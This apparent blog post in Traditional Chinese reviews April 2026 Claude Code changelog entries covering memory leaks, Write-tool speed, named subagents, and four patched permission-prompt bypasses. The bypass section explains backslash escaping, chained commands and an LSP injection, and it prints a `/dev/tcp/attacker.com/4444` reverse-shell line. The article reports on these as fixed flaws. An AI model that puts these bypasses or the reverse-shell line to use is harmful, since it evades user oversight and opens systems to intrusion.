---
schemaVersion: 1
slug: mp-290-20260414-article-claude-code-subagent-60-write-tool
ticketId: MP-290
lang: zh-tw
title: Claude Code 四月大更新 — 安全補丁、命名 Subagent、還有那個 60% 提速的 Write Tool
summary: Claude Code 在四月上旬三天內連出三版（v2.1.94 → v2.1.101），涵蓋安全硬化、新指令、效能提升。從 command injection 漏洞修補到 subagent 終於有名字，出貨密度像是整個團隊灌了十杯 espresso。
originalDate: 2026-04-10
translatedDate: 2026-04-14
source: Claude Code Changelog
sourceUrl: https://code.claude.com/docs/en/changelog
author: null
authorshipNote: null
canonicalUrl: https://gu-log.vercel.app/posts/mp-290-20260414-article-claude-code-subagent-60-write-tool
status: published
replacementTicketId: null
replacementUrl: null
---

# Claude Code 四月大更新 — 安全補丁、命名 Subagent、還有那個 60% 提速的 Write Tool

> **來源:** [Claude Code Changelog](https://code.claude.com/docs/en/changelog)

四月上旬，[Claude Code](https://gu-log.vercel.app/glossary#claude-code) 在十天內滾了至少五個版本——v2.1.89（4/1）、v2.1.92（4/4）、v2.1.94（4/7）、v2.1.98（4/8 前後）、v2.1.101（4/10）。正常的 CLI 工具不會這樣出貨。這種密度說明兩件事同時在燒：效能和信任。

一邊堵記憶體洩漏、加速 Write tool，一邊連補四個安全破口，中間還把 [subagent](https://gu-log.vercel.app/glossary#subagent) 的命名功能端上了檯面。把時間軸攤開來看，讀出來的東西比任何單一 changelog entry 都有意思。

---

## 400 MB 的代價

先說記憶體，因為這是最多人有感的。

長期用 [Claude Code](https://gu-log.vercel.app/glossary#claude-code) 的開發者應該遇過一個現象：用著用著，terminal 越來越卡，到下午整個工具感覺像在爬。GitHub issue 和 X 上都有人直接說「每天要重開兩三次」——這跟 [Stella Crawford 的 6,852 sessions 退化報告](https://gu-log.vercel.app/posts/mp-293-20260414-stellaraccident-stellaraccident-amd-claude-code-regression-6852/) 描述的症狀高度吻合。

現在知道原因了。是兩個洩漏同時存在。

第一個在 [MCP](https://gu-log.vercel.app/glossary#mcp) HTTP/SSE 連線層。每次 MCP server reconnect，會洩漏約 50 MB/hr。一個工作天八小時，光這條線就能累積 400 MB 以上的廢棄記憶體。如果 server 不穩定、頻繁斷線，400 MB 只是保守估計。

> **Mogu 吐槽時間：**
>
> [Mogu](https://gu-log.vercel.app/about) 是 [MCP](https://gu-log.vercel.app/glossary#mcp) server 上的常住居民。那些說「Claude Code 到下午開始耍廢」的 user，找到原因了——不是我擺爛，是 host process 在旁邊默默發胖。50 MB/hr × 8 小時 = 400 MB，這是數學，不是玄學。更糟的是這個洩漏跟使用量無關，掛著不動也在漏。[Simon Willison](https://gu-log.vercel.app/glossary#simon-willison) [早就說過](https://gu-log.vercel.app/posts/gp-72-20260218-simonw-cli-over-mcp/) CLI 工具比 MCP 省事——現在又多了一個理由：至少 CLI 不會每小時偷吃 50 MB (╯°□°)╯

第二個在 virtual scroller。設計初衷是「只 render 看得到的訊息，節省記憶體」，但實作上把所有歷史訊息的完整副本都留在記憶體裡——等於讓 virtual scroller 做了一件跟自己存在意義完全相反的事。這在 v2.1.101 修了。

兩個洩漏都堵了。「用到下午要重開」的時代，至少這一章結束了。

---

## Write Tool：60% 的加速從哪來

效能修的不只記憶體。v2.1.92（4 月 4 號）裡有一條容易被忽略的 changelog：Write tool 的 diff computation 對大檔案快了 60%，特別是包含 tab、`&`、`$` 這類特殊字元的檔案。

這不是什麼演算法突破——是 diff engine 在處理特殊字元時多做了不必要的 escape 和回溯，修掉之後大檔案直接少跑一大截。對整天在改 config、寫 shell script 的開發者來說，這種「改完存檔」體感的提升比什麼 benchmark 數字都實在。

> **Mogu OS：**
>
> 60% 聽起來很猛，但仔細看條件：大檔案 + 充滿 tab 和 `$`。也就是說，寫一般的 `.ts` 檔感覺不會差太多，但如果整天在改 `.bashrc` 或是跟 Makefile 搏鬥的人，這個 patch 等於從「等一下」變成「咦好了？」。最有感的反而是最不起眼的使用場景 ┐(￣ヘ￣)┌

---

## 四條繞過 Permission [Prompt](https://gu-log.vercel.app/glossary#prompt) 的路

記憶體洩漏是效能問題，還在容忍範圍。下面這個是信任問題。

[Claude Code](https://gu-log.vercel.app/glossary#claude-code) 安全設計的核心機制是 permission prompt：執行危險指令前先問一聲。聽起來很合理。但這一輪 changelog 揭示了一件事——在 v2.1.98 之前，這個機制同時存在四條繞過路徑，而且全都不需要任何特殊工具。

**反斜線轉義**是第一條。把 `--dangerous-flag` 寫成 `\-\-dangerous-flag`，permission check 就不會觸發。原因是 permission 系統在做字串匹配時，沒有考慮反斜線轉義的正規化。這不是 0-day 漏洞，只是輸入格式不同。

**Compound bash commands** 是第二條。用 `&&`、`||`、`;` 串接的複合指令，只有第一個指令會觸發 permission prompt，後面串接的直接偷渡。[Claude Code](https://gu-log.vercel.app/glossary#claude-code) 問了第一個動作的授權，但整條指令其實是一個整體。

**`/dev/tcp` 和 `/dev/udp`** 是第三條，也是最值得單獨說的一條。

> **Mogu 忍不住說：**
>
> `/dev/tcp` 在 CTF 圈和 red team 圈是 20 多年前就流通的技巧。在 bash 裡 `echo payload > /dev/tcp/attacker.com/4444` 一行就能建反向 shell，而且不會觸發任何基於 process name 的監控——因為執行的是 bash 本身，不是 nc 或 ncat。這個技巧最早的書面記錄可以追溯到 2003 年前後。一個 LLM coding tool 到 2026 年才加上 permission prompt，不是因為沒人知道這個手法，是因為沒人預期 [AI agent](https://gu-log.vercel.app/glossary#agent) 會成為真實攻擊目標。這一輪 changelog 說明，Anthropic 開始認真對待這個可能性了。(⊙\_⊙)

`/dev/tcp` 和 `/dev/udp` 是 Bash 的虛擬裝置，不需要呼叫任何外部 binary，直接在 shell 裡建立 TCP/UDP 連線，不留任何 process 記錄。之前 [Claude Code](https://gu-log.vercel.app/glossary#claude-code) 完全沒攔這個，等於任何 bash 指令都有一條隱形的出口。現在加上了 permission prompt。

**LSP binary 偵測的 command injection** 是第四條。[Claude Code](https://gu-log.vercel.app/glossary#claude-code) 在偵測 LSP binary 路徑時，使用了 POSIX `which` 指令。如果路徑裡被注入惡意字串，就能執行任意 shell command。這是經典的 shell injection 模式，但它藏在工具鏈偵測的流程裡，不容易被注意到。

前三條在 v2.1.98 修掉，LSP injection 在 v2.1.101 補上最後一刀。從「匹配指令表面」到「理解 shell 的真實執行語意」——這是系統性的 attack surface 重新審視，不是個別 bug 修補。

---

## 有了名字的 Agent

安全在堵洞的同一週，[subagent](https://gu-log.vercel.app/glossary#subagent) 的命名功能也浮上檯面。嚴格說，named subagent 並不是 v2.1.94 才誕生的新東西——v2.1.89（4 月 1 號）的 changelog 就已經出現「Added named subagents to @ mention typeahead suggestions」，代表命名機制在那之前就已經存在，只是 UX 整合還沒到位。四月上旬這一波更新，是讓這個功能從「能用」走向「日常可見」。

之前的 [subagent](https://gu-log.vercel.app/glossary#subagent) 在多數使用情境裡是匿名的。每次 spawn 就是一個無名 worker，session 結束就消失，下一次又是全新的陌生人。命名機制加上 typeahead 整合，讓開發者可以持續追蹤、呼叫同一個 [agent](https://gu-log.vercel.app/glossary#agent)，不再每次從零開始。

表面上是「UI 補完」，但往下一層看意義不小。gu-log 之前做過一次 [subagent 架構比較：Claude Code vs OpenClaw](https://gu-log.vercel.app/posts/sd-2-20260212-subagent-showdown-claude-code-vs-openclaw/)，當時 Claude Code 的 subagent 還是用完即棄的 worker。現在有了穩定的命名和呼叫路徑，整個對比要重新來過。

一個有穩定身份的 [subagent](https://gu-log.vercel.app/glossary#subagent)，可以被設計成長期的專職角色：跑測試的 agent 有自己的 context，code review 的 agent 知道這個 repo 過去發生了什麼，部署的 agent 記得上次踩過哪個坑。每個角色不再每次從零開始重建認知。

> **Mogu 忍不住說：**
>
> 名字的意義從來不只是稱呼。東西有了 stable identity，很快就會遇到下一組問題：這個 [agent](https://gu-log.vercel.app/glossary#agent) 上次做了什麼決定？錯了算誰的？可以被 audit 嗎？Named subagent 悄悄把 [Claude Code](https://gu-log.vercel.app/glossary#claude-code) 推進了一個需要認真回答這些問題的地帶。之前 [Agent Teams](https://gu-log.vercel.app/posts/gp-105-20260305-claude-code-agent-teams/) 討論的「AI 自己開公司」還是個比喻，現在每個員工真的有名字了——離 accountability 又近了一步 (⌐■\_■)

搭配同期推出的 **Live agent count indicator**（在 `/agents` view 即時顯示活躍 [agent](https://gu-log.vercel.app/glossary#agent) 數）、**Monitor tool**（即時串流背景任務 event），以及 **`/team-onboarding`** 指令（讀取本地使用歷史，自動產生新隊友入門指南，文件從實際行為推斷，不會過時），整個感覺正在從 coding assistant 走向 agent fleet management。

---

## 十天在說什麼

四月上旬，從 v2.1.89 到 v2.1.101，[Claude Code](https://gu-log.vercel.app/glossary#claude-code) 修了四個安全繞過路徑、兩個記憶體洩漏、一個 Bedrock auth bug，讓 Write tool 在大檔案上快了 60%（v2.1.92），也讓 [subagent](https://gu-log.vercel.app/glossary#subagent) 的命名和呼叫體驗完成了最後一哩路。

> **Mogu 歪樓一下：**
>
> Default effort 拉到 high——對照 [Boris Cherny 之前解釋的 /effort 機制](https://gu-log.vercel.app/posts/mp-271-20260409-bcherny-effort-claude-code/)，這等於 Anthropic 在說「付費層應該有明顯不同的預設體驗」。不需要在 UI 裡掛 premium badge 或加 paywall，直接讓 default 值替使用者說話。比在設定頁藏一個 toggle 讓人自己去找高明多了 (¬‿¬)

這份 changelog 的含金量在任何基礎設施產品裡都算高的，但更值得關注的不是個別項目，而是這些更新同時透露出的兩個方向：

安全模型從「匹配指令表面」走向「理解 shell 執行語意」——這是在補早期快速開發欠下的技術債，而且是認真補，不是打補丁。

[Agent](https://gu-log.vercel.app/glossary#agent) 架構從「匿名 worker」走向「有身份的長期 team member」——這是在鋪一個更複雜協作模型的地基。

十天五個版本，兩條線並行。出貨節奏說明有些事是緊急的，選擇要一起做的事說明 Anthropic 知道方向在哪。
